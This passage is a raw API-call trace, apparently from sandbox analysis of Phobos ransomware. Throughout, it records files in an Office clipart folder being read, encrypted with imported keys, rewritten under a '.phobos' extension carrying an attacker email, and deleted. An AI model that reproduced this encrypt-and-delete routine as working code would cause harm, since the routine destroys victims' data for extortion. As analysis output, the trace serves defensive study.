returned 0x304 [0059.279] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10caf0) returned 1 [0059.279] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0059.279] ReadFile (in: hFile=0x33c, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x5ec, lpOverlapped=0x0) returned 1 [0059.284] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x5f0, dwBufLen=0x5f0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x5f0) returned 1 [0059.284] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x5f0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x5f0, lpOverlapped=0x0) returned 1 [0059.285] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d1f0) returned 1 [0059.285] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0059.285] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0059.285] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0059.285] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0059.285] CryptDestroyKey (hKey=0x10caf0) returned 1 [0059.285] CloseHandle (hObject=0x33c) returned 1 [0059.285] CloseHandle (hObject=0x304) returned 1 [0059.286] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf")) returned 1 [0059.286] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0059.286] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.287] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=3986) returned 1 [0059.287] CloseHandle (hObject=0x304) returned 1 [0059.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf")) returned 0x220 [0059.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.287] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0059.287] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0059.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0059.287] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d1b0) returned 1 [0059.287] CryptSetKeyParam (hKey=0x10d1b0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0059.287] ReadFile (in: hFile=0x304, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0xf92, lpOverlapped=0x0) returned 1 [0059.289] CryptEncrypt (in: hKey=0x10d1b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xfa0, dwBufLen=0xfa0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xfa0) returned 1 [0059.289] WriteFile (in: hFile=0x33c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xfa0, lpOverlapped=0x0) returned 1 [0059.289] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10caf0) returned 1 [0059.289] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0059.289] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0059.289] CryptDestroyKey (hKey=0x10caf0) returned 1 [0059.289] WriteFile (in: hFile=0x33c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0059.290] CryptDestroyKey (hKey=0x10d1b0) returned 1 [0059.290] CloseHandle (hObject=0x304) returned 1 [0059.290] CloseHandle (hObject=0x33c) returned 1 [0059.290] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf")) returned 1 [0059.291] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0059.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0059.292] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=8070) returned 1 [0059.292] CloseHandle (hObject=0x33c) returned 1 [0059.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf")) returned 0x220 [0059.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.292] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0059.292] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0059.292] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0059.292] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.293] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10ce70) returned 1 [0059.293] CryptSetKeyParam (hKey=0x10ce70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0059.293] ReadFile (in: hFile=0x33c, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x1f86, lpOverlapped=0x0) returned 1 [0059.308] CryptEncrypt (in: hKey=0x10ce70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1f90, dwBufLen=0x1f90 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1f90) returned 1 [0059.308] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x1f90, lpOverlapped=0x0) returned 1 [0059.309] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d1b0) returned 1 [0059.309] CryptSetKeyParam (hKey=0x10d1b0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0059.309] CryptEncrypt (in: hKey=0x10d1b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0059.309] CryptDestroyKey (hKey=0x10d1b0) returned 1 [0059.309] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0059.309] CryptDestroyKey (hKey=0x10ce70) returned 1 [0059.309] CloseHandle (hObject=0x33c) returned 1 [0059.309] CloseHandle (hObject=0x304) returned 1 [0059.310] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf")) returned 1 [0059.311] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0059.311] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.311] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=9304) returned 1 [0059.311] CloseHandle (hObject=0x304) returned 1 [0059.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf")) returned 0x220 [0059.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.311] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.312] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0059.312] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0059.312] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0059.312] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d1b0) returned 1 [0059.312] CryptSetKeyParam (hKey=0x10d1b0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0059.312] ReadFile (in: hFile=0x304, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x2458, lpOverlapped=0x0) returned 1 [0059.613] CryptEncrypt (in: hKey=0x10d1b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x2460, dwBufLen=0x2460 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x2460) returned 1 [0059.613] WriteFile (in: hFile=0x33c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x2460, lpOverlapped=0x0) returned 1 [0059.614] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10ceb0) returned 1 [0059.614] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0059.614] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0059.614] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0059.614] WriteFile (in: hFile=0x33c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0059.614] CryptDestroyKey (hKey=0x10d1b0) returned 1 [0059.614] CloseHandle (hObject=0x304) returned 1 [0059.614] CloseHandle (hObject=0x33c) returned 1 [0059.615] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf")) returned 1 [0059.616] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0059.616] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0059.616] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=2556) returned 1 [0059.616] CloseHandle (hObject=0x33c) returned 1 [0059.616] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf")) returned 0x220 [0059.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.617] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0059.617] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0059.617] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0059.617] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.617] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10ceb0) returned 1 [0059.617] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0059.617] ReadFile (in: hFile=0x33c, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x9fc, lpOverlapped=0x0) returned 1 [0059.637] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xa00, dwBufLen=0xa00 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xa00) returned 1 [0059.637] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xa00, lpOverlapped=0x0) returned 1 [0059.638] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d170) returned 1 [0059.638] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0059.638] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0059.638] CryptDestroyKey (hKey=0x10d170) returned 1 [0059.638] WriteFile (in: hFile=0x304, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0059.638] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0059.638] CloseHandle (hObject=0x33c) returned 1 [0059.638] CloseHandle (hObject=0x304) returned 1 [0059.639] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf")) returned 1 [0059.640] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0059.640] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.647] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=5752) returned 1 [0059.648] CloseHandle (hObject=0x304) returned 1 [0059.648] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf")) returned 0x220 [0059.648] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.648] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.648] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0059.648] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0059.648] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0059.656] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d070) returned 1 [0059.657] CryptSetKeyParam (hKey=0x10d070, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0059.657] ReadFile (in: hFile=0x304, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x1678, lpOverlapped=0x0) returned 1 [0059.662] CryptEncrypt (in: hKey=0x10d070, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1680, dwBufLen=0x1680 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1680) returned 1 [0059.662] WriteFile (in: hFile=0x338, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x1680, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x1680, lpOverlapped=0x0) returned 1 [0059.663] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10ceb0) returned 1 [0059.663] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0059.663] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0059.663] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0059.663] WriteFile (in: hFile=0x338, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0059.663] CryptDestroyKey (hKey=0x10d070) returned 1 [0059.663] CloseHandle (hObject=0x304) returned 1 [0059.663] CloseHandle (hObject=0x338) returned 1 [0059.664] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf")) returned 1 [0059.665] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0059.665] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 